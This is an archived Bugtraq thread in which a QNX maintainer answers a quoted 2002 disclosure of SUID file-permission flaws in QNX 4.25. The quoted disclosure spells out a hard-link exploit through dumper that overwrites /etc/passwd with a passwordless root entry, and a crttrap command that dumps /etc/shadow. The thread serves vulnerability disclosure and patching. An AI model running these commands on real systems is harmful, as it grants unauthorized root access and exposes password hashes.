I am the maintainer of dumper and I can verify that this bug is not present in QNX6. In 6.0 and 6.1, hard links behaved strangely - this sequence of actions would result in a two different files with the original being untouched. In the latest version, (6.2), dumper returns with an appropriate error (permission denied). Monitor does not exist in QNX6. Keep in mind that QNX4 is not our current OS and is not sold very much anymore, although there are many existing installations. We do, periodically issue patches however so bug reports on QNX4 are also useful. QNX6 is a complete rewrite from the ground up so many of QNX4's vulnerabilities will not be there. That being said, some utilities and services were brought forward so there may be shared bugs. Any evaluation and auditing that can be done by the security community is much appreciated and I would direct your attention to http://get.qnx.com where you can download a version for personal and non-commercial use. In fact, if you keep your eyes peeled, within a few days you'll probably see the latest 6.2 release up for grabs. (Don't tell anyone I said that - marketing likes to keep these announcements for themselves ;-) My work email is kewarkenat_private and if anyone would like to notify me personally of vulnerabilities/exploits, I'll see to it that bug reports are filed. Cheers, Kris ----- Original Message ----- From: "Simon Ouellette" <einherjat_private> To: <bugtraqat_private> Sent: Friday, May 31, 2002 5:42 PM Subject: Multiple vulnerabilities in QNX > > I think I found what appears to be several (or one fundamental) > vulnerabilities under QNX(tested on version 4.25). I have not found any > documentation/reference to these anywhere, so I assume they/it were not > known. > > Importance of the bug: any local user can gain root access(which, under QNX, > means root access to the entire network, of course) > > Nature: some(or "most" ? or "all" ?) SUID programs that output data to files > actually do not look for permissions before overwriting identical(already > existent) filenames. Also, they follow hard links(I did not verify how they > react to symbolic links). In fact, not only do they overwrite the files, but > they give the user ownership of the file. So programs like /bin/dumper, > monitor, the Watcom "sample" utility, can be used to overwrite and gain > ownership of read-only, root-owned files such as /etc/passwd. From there, > it's easy to figure out how to gain root access... > > Example exploit, with /bin/dumper: > > Let EVIL be the unprivileged user who wants to gain root access. > > #link to the passwd file: dumper dumps to [process name].dmp > $ ln /etc/passwd /home/EVIL/ksh.dmp > #call the program that will attempt to write to the hard link > $ dumper -d /home/EVIL -p [PID of EVIL's ksh] > #have dumper do its job by terminating the monitored process > $ exit > #at this point, /etc/passwd is overwritten by the binary dump, and more > importantly: EVIL is now the owner ! > $ echo root::0:0::///:/bin/sh > /etc/passwd > #but now no login works because /etc/passwd is not owned by userid 0. #So > you do: > > $ passwd > > #and change your password. This gives /etc/passwd ownership back to root, > keeping the modifications you have made. > > $ su > # > > "monitor" is even easier to exploit, for example, because you can directly > specify the filename with the parameter -f /etc/passwd. No need for a link. > > Another similar vulnerability was with crttrap. This utility has one > interesting parameter/option that allows you to dump the contents of the > configuration file.... and it is SUID. So all you have to do is: > $ crttrap -c /etc/shadow > > ...and it will dump the shadow file for you(even if you normally do not have > read access to it, such as with an unprivileged user). > > So this can either be seen as multiple vulnerabilities in different > programs, or as a single fundamental flaw in the ownership/permissions > checking of the filesystem. I could not tell at what level exactly is the > flaw. > > Could some of you reproduce the exploit and confirm that it works ? I would > like to make sure that it is not specific to, maybe, some configuration flaw > in the systems I used to test it. Also, if you could check with the most > recent QNX versions to see if this is still applicable... > > P.S.: I also noticed that Watcom sample and int10, but not monitor, will > segfault when they are given long filenames as a parameter... Maybe this can > turn into a buffer overflow, but I did not have the time to check. > > Simon Ouellette > > _________________________________________________________________ > Join the world's largest e-mail service with MSN Hotmail. > http://www.hotmail.com > >
This archive was generated by hypermail 2b30 : Sun Jun 02 2002 - 16:41:50 PDT